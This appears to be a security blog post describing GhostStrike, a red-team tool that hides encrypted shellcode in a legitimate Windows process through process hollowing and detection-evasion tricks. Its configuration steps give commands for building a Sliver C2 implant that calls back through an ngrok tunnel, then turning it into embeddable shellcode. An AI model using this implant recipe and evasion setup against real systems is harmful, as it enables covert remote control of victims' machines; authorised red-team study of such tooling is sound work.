Cyber security

GhostStrike – The Shadows Of Advanced Cybersecurity Operations

GhostStrike is an advanced cybersecurity tool designed for Red Team operations, featuring sophisticated techniques to evade detection and perform process hollowing on Windows systems.

Features

  • Dynamic API Resolution: Utilizes a custom hash-based method to dynamically resolve Windows APIs, avoiding detection by signature-based security tools.
  • Base64 Encoding/Decoding: Encodes and decodes shellcode to obscure its presence in memory, making it more difficult for static analysis tools to detect.
  • Cryptographic Key Generation: Generates secure cryptographic keys using Windows Cryptography APIs to encrypt and decrypt shellcode, adding an extra layer of protection.
  • XOR Encryption/Decryption: Simple but effective XOR-based encryption to protect the shellcode during its injection process.
  • Control Flow Flattening: Implements control flow flattening to obfuscate the execution path, complicating analysis by both static and dynamic analysis tools.
  • Process Hollowing: Injects encrypted shellcode into a legitimate Windows process, allowing it to execute covertly without raising suspicions.

Configuration

You can configure GhostStrike with the following steps:

  1. Create Ngrok Service: ngrok tcp 443
  2. Generate Sliver C2 Implant: generate --mtls x.tcp.ngrok.io --save YourFile.exe
  3. Create Listener: mtls --lhost 0.0.0.0 --lport 443
  4. Convert to .bin: ./donut -i /home/YourUser/YourFile.exe -a 2 -f 1 -o /home/YourUser/YourFile.bin
  5. Convert to C++ Shellcode: xxd -i YourFile.bin > YourFile.h
  6. Import YourFile.h to this code
  7. Compile and enjoy! 🚀

Requirements

  • C++ Compiler: Any modern C++ compiler, such as g++, clang++, or Visual Studio, is sufficient to compile the code.

No additional dependencies are needed to build GhostStrike. Simply compile the source code with your preferred C++ compiler, and you’re ready to go!

Varshini

Varshini is a Cyber Security expert in Threat Analysis, Vulnerability Assessment, and Research. Passionate about staying ahead of emerging Threats and Technologies.

Recent Posts

Pystinger : Bypass Firewall For Traffic Forwarding Using Webshell

Pystinger is a Python-based tool that enables SOCKS4 proxying and port mapping through webshells. It…

6 days ago

CVE-Search : A Tool To Perform Local Searches For Known Vulnerabilities

Introduction When it comes to cybersecurity, speed and privacy are critical. Public vulnerability databases like…

6 days ago

CVE-Search : A Tool To Perform Local Searches For Known Vulnerabilities

Introduction When it comes to cybersecurity, speed and privacy are critical. Public vulnerability databases like…

7 days ago

How to Bash Append to File: A Simple Guide for Beginners

If you are working with Linux or writing bash scripts, one of the most common…

7 days ago

Mastering the Bash Case Statement with Simple Examples

What is a bash case statement? A bash case statement is a way to control…

7 days ago

How to Check if a File Exists in Bash – Simply Explained

Why Do We Check Files in Bash? When writing a Bash script, you often work…

1 week ago